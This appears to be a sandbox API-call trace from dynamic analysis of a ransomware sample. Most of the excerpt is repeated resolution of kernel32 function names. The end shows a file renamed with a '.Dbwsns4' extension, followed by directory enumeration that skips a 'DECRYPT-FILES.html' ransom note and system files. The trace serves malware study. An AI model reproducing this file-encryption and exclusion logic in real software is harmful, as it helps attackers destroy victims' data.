lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0149.344] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0149.344] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0149.344] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0149.345] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0149.345] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0149.345] lstrlenA (lpString="CLOSESTATE") returned 10 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0149.345] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0149.345] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0149.345] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0149.345] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0149.345] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0149.345] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0149.345] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0149.345] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0149.345] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0149.345] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0149.345] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0149.345] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0149.345] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0149.345] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0149.346] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0149.346] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0149.346] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0149.346] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0149.346] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0149.346] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0149.346] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0149.346] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0149.346] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0149.346] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0149.346] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0149.346] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0149.346] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0149.346] lstrlenA (lpString="COPYCONTEXT") returned 11 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0149.346] lstrlenA (lpString="COPYFILE2") returned 9 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0149.346] lstrlenA (lpString="COPYFILEA") returned 9 [0149.346] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0149.347] lstrlenA (lpString="COPYFILEEXA") returned 11 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0149.347] lstrlenA (lpString="COPYFILEEXW") returned 11 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0149.347] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0149.347] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0149.347] lstrlenA (lpString="COPYFILEW") returned 9 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0149.347] lstrlenA (lpString="COPYLZFILE") returned 10 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0149.347] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0149.347] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0149.347] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0149.347] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0149.347] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0149.347] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0149.347] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0149.347] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0149.347] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0149.347] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0149.347] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0149.348] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0149.348] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0149.348] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0149.348] lstrlenA (lpString="CREATEEVENTA") returned 12 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0149.348] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0149.348] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0149.348] lstrlenA (lpString="CREATEEVENTW") returned 12 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0149.348] lstrlenA (lpString="CREATEFIBER") returned 11 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0149.348] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0149.348] lstrlenA (lpString="CREATEFILE2") returned 11 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0149.348] lstrlenA (lpString="CREATEFILEA") returned 11 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0149.348] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0149.348] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0149.348] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0149.348] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0149.348] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0149.348] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0149.348] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0149.349] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0149.349] lstrlenA (lpString="CREATEFILEW") returned 11 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0149.349] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0149.349] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0149.349] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0149.349] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0149.349] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0149.349] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0149.349] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0149.349] lstrlenA (lpString="CREATEJOBSET") returned 12 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0149.349] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0149.349] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0149.349] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0149.349] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0149.349] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0149.349] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0149.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0149.350] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0149.350] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0149.350] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0149.350] lstrlenA (lpString="CREATEPIPE") returned 10 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0149.350] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0149.350] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0149.350] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0149.350] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0149.350] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0149.350] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0149.350] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0149.350] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0149.350] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0149.350] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0149.350] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0149.350] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0149.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0149.350] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0149.351] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0149.351] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0149.351] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0149.351] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0149.351] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0149.351] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0149.351] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0149.351] lstrlenA (lpString="CREATETHREAD") returned 12 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0149.351] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0149.351] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0149.351] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0149.351] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0149.351] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0149.351] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0149.351] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0149.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0149.352] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.Dbwsns4") returned 55 [0149.352] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.Dbwsns4" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.dbwsns4"), dwFlags=0x0) returned 1 [0149.353] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.353] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.353] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.354] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0149.354] lstrcmpiW (lpString1="warn.ico", lpString2="DECRYPT-FILES.html") returned 1 [0149.354] lstrcmpiW (lpString1="warn.ico", lpString2="autorun.inf") returned 1 [0149.354] lstrcmpiW (lpString1="warn.ico", lpString2="boot.ini") returned 1 [0149.354] lstrcmpiW (lpString1="warn.ico", lpString2="desktop.ini") returned 1 [0149.354] lstrcmpiW (lpString1="warn.ico", lpString2="ntuser.dat") returned 1 [0149.354] lstrcmpiW (lpString1="warn.ico", lpString2="iconcache.db") returned 1 [0149.354] lstrcmpiW (lpString1="warn.ico", lpString2="bootsect.bak") returned 1 [0149.354] lstrcmpiW (lpString1="warn.ico", lpString2="ntuser.dat.log") returned 1 [0149.354] lstrcmpiW (lpString1="warn.ico", lpString2="thumbs.db") returned 1 [0149.354] lstrcmpiW (lpString1="warn.ico", lpString2="Bootfont.bin") returned 1 [0149.354] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0149.354] lstrlenW (lpString="warn.ico") returned 8 [0149.354] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0149.354] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="warn.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned="C:\\588bce7c90097ed212\\Graphics\\warn.ico" [0149.354] VirtualAlloc (lpAddress=0x0, dwSize=0x28, 